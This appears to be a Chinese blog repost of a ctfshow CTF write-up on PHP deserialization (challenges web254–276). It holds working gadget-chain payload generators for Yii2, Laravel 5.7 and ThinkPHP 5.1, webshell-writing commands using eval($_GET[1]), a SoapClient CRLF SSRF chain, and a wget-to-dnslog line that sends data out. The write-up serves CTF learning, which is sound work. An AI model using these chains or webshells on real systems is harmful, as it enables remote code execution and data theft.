IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow 反序列化 -> 正文阅读

[PHP知识库]ctfshow 反序列化

去学长那里拿点总结

private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00\*\x00变量名?
public变量会被序列化为:变量名

__sleep()? ? //在对象被序列化之前运行 ?*

__wakeup()? ?//将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) ?*
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的


属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

web254

读代码后发现题目要求传入的值等于类里面的值

?username=xxxxxx&password=xxxxxx

web255

这里的话得有点改变,得让$this->返回的值为true,所以得构造一下链子如下

<?php?
class ctfShowUser{
? ?public $isVip;
? public function __construct(){
? ?$this->isVip=true;
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload:

在GET处:

?username=xxxxxx&password=xxxxxx

在cookie处:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?

web256

这题还是比较简单的,在上题的基础上需要$username不等于$password,生成payload的脚本如下:

<?php?
class ctfShowUser{
? ?public $username;
? ?public $isVip;
? public function __construct(){
? ?$this->isVip=true;
? ? $this->username='aaa';
?}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload:?

在GET处

?username=aaa&password=xxxxxx

在cookie处

user=O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?

web257?

这题的话还是比较简单,说一下一些坑点,不能直接private $class=new backDoor();来赋给class一个类的值,只能通过__construct来赋值,但是可以直接赋给其字符的值。

<?php?
class ctfShowUser{
? ?private $class;
? ?public function __construct(){
? ? $this->class=new backDoor();
?}
}
class backDoor{
? ? private $code="system('tac f*');";? ? ? ? ? //在实际中多试试tac /f*或者tac f*
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

web258

和上一差不多,这题多了个正则过滤,并且变量都是public(这个注意)!!!

正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过了

正则表达式 – 元字符 | 菜鸟教程

<?php?
class ctfShowUser{
? ?public $class;
? ?public function __construct(){
? ? $this->class=new backDoor();
?}
}
class backDoor{
? ? public $code="system('tac f*');";
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);

web259

第一次遇到这种本身的php页面没有任何类,不太懂,原来是考查PHP原生类的反序列化........直接看到题目那里有个flag.php,感觉可以直接改X-Forwarded-For为127.0.0.1,但这题开了cloudfare代理,无法直接本地构造XFF绕过。

Cloudflare的工作原理是什么? - 快出海

具体原因和学习可以看Y4师傅的博客,百度网盘链接那里

从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

大致流程为:

1、通过访问一个不存在的方法,调用原生类SoapClient的_call方法

2、通过SoapClient原生类里面带有的user_agent构造处POST方法

3、User-Agent和Content-Type间通过\r\n分割,因为在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的

4、利用其中的location为http://127.0.0.1/flag.php,构造SSRF,可以让访问flag.php的IP为127.0.0.1

?PHP: SoapClient::__call - Manual

PHP: SoapClient - Manual

?脚本:

<?php?
$url='http://127.0.0.1/flag.php';

$ua='ctf\r\nContent-Type: application/x-www-form-urlencode\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Length: 13\r\n\r\ntoken=ctfshow';

$a=new SoapClient(null,array('uri' =>'aa' , 'location' =>$url , 'user_agent' =>$ua));
echo urlencode(serialize($a));

完成上面的生成操作得安装php-soap拓展,我这里用的是phpstudy,它自带这个拓展,但是没有编译。打开php-ini,找到extension=php_soap.dll,把前面的分号去掉。

没有安装的话按照下面的博客安装吧

https://www.jb51.net/article/133316.htm

web260

这题的话感觉没什么意思,随便传带有ctfshow_i_love_36D的值进去都行

web261

这题的考点是:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以直接不用理__wakeup(),在来个弱比较877==0x36d就好了。这里不知道为什么,不对反序列化后的结果url编码生成不了。

<?php
class ctfshowvip{
? ? public $username;
? ? public $password;

? ? public function __construct(){
? ? ? ? $this->username='877.php';
? ? ? ? $this->password='<?php eval($_GET[1]);?>';
? ? }
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
?

?访问877.php,然后?1=system('tac /f*');

web262

这题考察字符串逃逸,首先构造出序列化结果

<?php

class message{

public $token='admin';

}

$a=new message();

echo serialize($a);

得到?s:5:"token";s:5:"admin";

这个时候需要加";来闭合前面的东西,像下面那样

算了一下需要构造的字符一共27个

?";s:5:"token";s:5:"admin";}

那么每个fuck变成loveU,从四个字符变成了五个。这个时候就得思考,需要多加多少个字符才能让上面的攻击语句逃出字符串的范围呢?

上面已经算出来了,得多增27个字符,才能让上面的攻击语句成为序列化的内容,而不是序列化的字符串,利用脚本生成一些27个fuck。

<?php
$a=1;
for($a=1;$a<=27;$a++){
? echo 'fuck';
}

注意得把payload放在传值的最后面,即t的位置,放在前面不知道为什么不成功。

最终payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck?";s:5:"token";s:5:"admin";}

web263

这题首考查一个源码泄露和Seesion的反序列化漏洞,可以用dirsearch来扫一下文件,可以顺利得到www.zip。

[扫描工具]dirsearch简单使用-飞龙网络博客-Feilong'S Blog

[WEB安全]Dirsearch工具命令 - 肖洋肖恩、 - 博客园

得到源码后,在index.php中发现可以通过修改$COOKIE['limit']来控制seesion的内容

<?php
? ? error_reporting(0);
? ? session_start();
? ? //超过5次禁止登陆
? ? if(isset($_SESSION['limit'])){
? ? ? ? $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
? ? ? ? $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
? ? }else{
? ? ? ? ?setcookie("limit",base64_encode('1'));
? ? ? ? ?$_SESSION['limit']= 1;
? ? }
?>

接着看到check.php,这里包含inc.php。那么视野转移到inc.php

<?php
...
ini_set('session.serialize_handler', 'php');
session_start();
...
class User{
? ? public $username;
? ? public $password;
? ? public $status;
? ? function __construct($username,$password){
? ? ? ? $this->username = $username;
? ? ? ? $this->password = $password;
? ? }
? ? function setStatus($s){
? ? ? ? $this->status=$s;
? ? }
? ? function __destruct(){
? ? ? ? file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
? ? }
}
...?

这里看了一下代码,简单的反序列化写shell。重要的不是这个,而是session.serialize_handler。

看一下各种类型的存储方式

php_binary:? ? 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:? ? ? ?键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):? ?经过serialize()函数序列化处理的值
在 php_serialize 引擎下,session文件中存储的数据为:a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:name|s:6:"spoock";
注意:在 php 5.5.4 以前默认选择的是 php,5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize。

check.php这里的session.serialize_handler是php,那么猜测php.ini的配置里面使用的引擎是php_serialize了,因为如果都是php,就不需要下面这句话了。

在这里插入图片描述

所以这里用的引擎是php,得用|作为键值的分隔符,不然就会把序列化的字符串当成键名,而不是内容。?大致是思路是利用__destruct方法写shell,生成payload在主页seesion处limit字段放入payload,然后再访问check.php进行base64解码,最后访问生成的log_1.php。

可以参考这篇文章理解一下

PHP Session 序列化机制及其引发的安全漏洞 – Annevi's Blog

[代码审计]PHP中session的存储方式(WP)_Y4tacker的博客-CSDN博客

生成payload:

<?php
class User{
? ? public $username='1.php';
? ? public $password='<?php eval($_GET[1]);?>';
? ? public $status;
}
$a=new User();
echo base64_encode("|".serialize($a));

web265?

这题要求$this->password===$this->token,通过代码审计可以知道,$token的值等于md5(mt_rand()),这个是真的随机数,无法绕过,那么就得考虑如何让$password的值永远等于$token了。

一开始我的思路是:

?public function __construct(){
? ? $this->password=$this->token;
?}

但试了一下还是不行,原因是这样子得到的值只能是token在类中开始就有的值,不能是后面new 一个类后赋予的值?。所以这里得通过&来引用token的值

<?php?
class ctfshowAdmin{
? ? public $token;
? ? public $password;
? ?public function __construct(){
? ? $this->password=&$this->token;
?}
}
$a=new ctfshowAdmin();
echo serialize($a);

web266?

这题的话不会...........分析一下思路,如果$cs里面有ctfshow,是会抛出异常,导致__destruct执行不了。所以这里得想办法绕过。

第一种方法:利用php对类名大小写不敏感绕过

<?php?
class CTFSHOW{}
$a=new CTFSHOW();
echo serialize($a);

第二种方法:破坏序列化后的结果,仍会执行__destruct

O:7:"ctfshow":0:{}?

变成

O:7:"ctfshow":2:{}?

这里得注意一下,php://input得在bp传。?

web267

打开题目随便翻翻,只发现login这个点。随便打一下admin什么的,蒙对了......用户名密码都是admin,这个没蒙对,实在没法下手的时候,可以直接爆破一波。

蒙对之后发现about页面不一样了,查看源代码一下,发现一个东西

在GET请求中加入可以发现注入点?

那么如何得到要进行反序列化的代码呢?在源代码里面的yii.js点进去后,可以知道是yii2.0反序列化漏洞......

??

直接去找公开的链子,命令执行可以用system、shell_exec、exec、passthru,这题只有passthru有回显,可以直接ls后拿flag,下面是写shell的演示。

<?php
namespace yii\rest{
? ? class CreateAction{
? ? ? ? public $checkAccess;
? ? ? ? public $id;

? ? ? ? public function __construct(){
? ? ? ? ? ? $this->checkAccess = 'shell_exec';? ? ? //php函数
? ? ? ? ? ? $this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/basic/web/2.php";? ? ? ? ? ? ? ? ? ? ? //php函数的参数??
? ? ? ? }
? ? }
}

namespace Faker{
? ? use yii\rest\CreateAction;

? ? class Generator{
? ? ? ? protected $formatters;

? ? ? ? public function __construct(){
? ? ? ? ? ? $this->formatters['close'] = [new CreateAction(), 'run'];
? ? ? ? }
? ? }
}

namespace yii\db{
? ? use Faker\Generator;

? ? class BatchQueryResult{
? ? ? ? private $_dataReader;

? ? ? ? public function __construct(){
? ? ? ? ? ? $this->_dataReader = new Generator;
? ? ? ? }
? ? }
}
namespace{
? ? echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

注意:

1、可以shell_exec执行wget `pwd|base64`.dnslog.cn,外带数据得到当前网站路径

2、在写shell的时候,最外面一定得双引号,里面才是单引号(参考上面写shell处的代码看)。而且$得用\进行转义,不然会写不成功。??

3、得在一句话木马的后面加上其它语句,如上面的phpinfo();,不然显示语法错误,具体原因不清楚。

payload:

index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NzI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiAvdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8yLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

web268-270

只是过滤了上一条链子,可以换成下面这条,不过这里写shell用不了GET方法了,只能用POST。

<?php
namespace yii\rest {
? ? class Action
? ? {
? ? ? ? public $checkAccess;
? ? }
? ? class IndexAction
? ? {
? ? ? ? public function __construct($func, $param)
? ? ? ? {
? ? ? ? ? ? $this->checkAccess = $func;
? ? ? ? ? ? $this->id = $param;
? ? ? ? }
? ? }
}
namespace yii\web {
? ? abstract class MultiFieldSession
? ? {
? ? ? ? public $writeCallback;
? ? }
? ? class DbSession extends MultiFieldSession
? ? {
? ? ? ? public function __construct($func, $param)
? ? ? ? {
? ? ? ? ? ? $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
? ? ? ? }
? ? }
}
namespace yii\db {
? ? use yii\base\BaseObject;
? ? class BatchQueryResult
? ? {
? ? ? ? private $_dataReader;
? ? ? ? public function __construct($func, $param)
? ? ? ? {
? ? ? ? ? ? $this->_dataReader = new \yii\web\DbSession($func, $param);
? ? ? ? }
? ? }
}
namespace {
? ? $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
? ? echo(base64_encode(serialize($exp)));
}

web271

Laravel?5.7的反序列化漏洞,可以下载yu师傅发的地址拿源码分析一下成因https://github.com/laravel/laravel/tree/5.7

<?php

namespace Illuminate\Foundation\Testing {
? ? class PendingCommand
? ? {
? ? ? ? public $test;
? ? ? ? protected $app;
? ? ? ? protected $command;
? ? ? ? protected $parameters;

? ? ? ? public function __construct($test, $app, $command, $parameters)
? ? ? ? {
? ? ? ? ? ? $this->test = $test; ? ? ? ? ? ? ? ? //一个实例化的类 Illuminate\Auth\GenericUser
? ? ? ? ? ? $this->app = $app; ? ? ? ? ? ? ? ? ? //一个实例化的类 Illuminate\Foundation\Application
? ? ? ? ? ? $this->command = $command; ? ? ? ? ? //要执行的php函数 system
? ? ? ? ? ? $this->parameters = $parameters; ? ? //要执行的php函数的参数 ?array('id')
? ? ? ? }
? ? }
}

namespace Faker {
? ? class DefaultGenerator
? ? {
? ? ? ? protected $default;

? ? ? ? public function __construct($default = null)
? ? ? ? {
? ? ? ? ? ? $this->default = $default;
? ? ? ? }
? ? }
}

namespace Illuminate\Foundation {
? ? class Application
? ? {
? ? ? ? protected $instances = [];

? ? ? ? public function __construct($instances = [])
? ? ? ? {
? ? ? ? ? ? $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
? ? ? ? }
? ? }
}

namespace {
? ? $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

? ? $app = new Illuminate\Foundation\Application();

? ? $application = new Illuminate\Foundation\Application($app);

? ? $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('tac /f*'));

? ? echo urlencode(serialize($pendingcommand));
}
?

web272-273

Laravel?5.7的反序列化漏洞,这里得在bp传,然后查找flag。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: ? 2021-05-05 22:27:03
# @Last Modified by: ? h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


namespace PhpParser\Node\Scalar\MagicConst{
? ? class Line {}
}
namespace Mockery\Generator{
? ? class MockDefinition
? ? {
? ? ? ? protected $config;
? ? ? ? protected $code;

? ? ? ? public function __construct($config, $code)
? ? ? ? {
? ? ? ? ? ? $this->config = $config;
? ? ? ? ? ? $this->code = $code;
? ? ? ? }
? ? }
}
namespace Mockery\Loader{
? ? class EvalLoader{}
}
namespace Illuminate\Bus{
? ? class Dispatcher
? ? {
? ? ? ? protected $queueResolver;
? ? ? ? public function __construct($queueResolver)
? ? ? ? {
? ? ? ? ? ? $this->queueResolver = $queueResolver;
? ? ? ? }
? ? }
}
namespace Illuminate\Foundation\Console{
? ? class QueuedCommand
? ? {
? ? ? ? public $connection;
? ? ? ? public function __construct($connection)
? ? ? ? {
? ? ? ? ? ? $this->connection = $connection;
? ? ? ? }
? ? }
}
namespace Illuminate\Broadcasting{
? ? class PendingBroadcast
? ? {
? ? ? ? protected $events;
? ? ? ? protected $event;
? ? ? ? public function __construct($events, $event)
? ? ? ? {
? ? ? ? ? ? $this->events = $events;
? ? ? ? ? ? $this->event = $event;
? ? ? ? }
? ? }
}
namespace{
? ? $line = new PhpParser\Node\Scalar\MagicConst\Line();
? ? $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('tac /f*');");
? ? $evalloader = new Mockery\Loader\EvalLoader();
? ? $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
? ? $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
? ? $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
? ? echo urlencode(serialize($pendingbroadcast));
}

?web274

thinkphp 5.1反序列化漏洞??参考链接

<?php
namespace think;
abstract class Model{
? ? protected $append = [];
? ? private $data = [];
? ? function __construct(){
? ? ? ? $this->append = ["lin"=>["calc.exe","calc"]];
? ? ? ? $this->data = ["lin"=>new Request()];
? ? }
}
class Request
{
? ? protected $hook = [];
? ? protected $filter = "system";
? ? protected $config = [
? ? ? ? // 表单ajax伪装变量
? ? ? ? 'var_ajax' ? ? ? ? => '_ajax', ?
? ? ];
? ? function __construct(){
? ? ? ? $this->filter = "system";
? ? ? ? $this->config = ["var_ajax"=>'lin'];
? ? ? ? $this->hook = ["visible"=>[$this,"isAjax"]];
? ? }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
? ? private $files = [];

? ? public function __construct()
? ? {
? ? ? ? $this->files=[new Pivot()];
? ? }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
?

将生成的payload放入data处,lin是该漏洞的固定变量,不能修改,即:

?data=poc&lin=tac /f*

web275?

这里直接审计代码,linux可以允许system('rm'.$_GET[1]);动态执行,所以这里可以用分号来分隔命令。

payload:

?fn=php;tac f*

web276?

这题因为得满足admin=true,但没有反序列化点,得通过file_put_content函数利用phar文件来拿flag。

大致的原理是;

使用phar://协议读取文件时,文件会被解析成phar,解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

因为竞争好像做不了,所以没有尝试。具体的话看一下师傅们的博客?

[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化

CTFSHOW 反序列化篇_羽的博客-CSDN博客_ctfshow 反序列化

PHAR反序列化拓展操作总结 - FreeBuf网络安全行业门户

参考文章

[CTFSHOW]反序列化(仅更新必要的题目)_Y4tacker的博客-CSDN博客_反序列化题目

[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化

CTFSHOW 反序列化篇_羽的博客-CSDN博客_ctfshow 反序列化

[复现·日更]ctfshow web入门 php反序列化 - xinZa1

[CTF]CTFSHOW反序列化_Sapphire037的博客-CSDN博客

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-11 21:55:31  更:2022-03-11 21:56:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 15:57:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计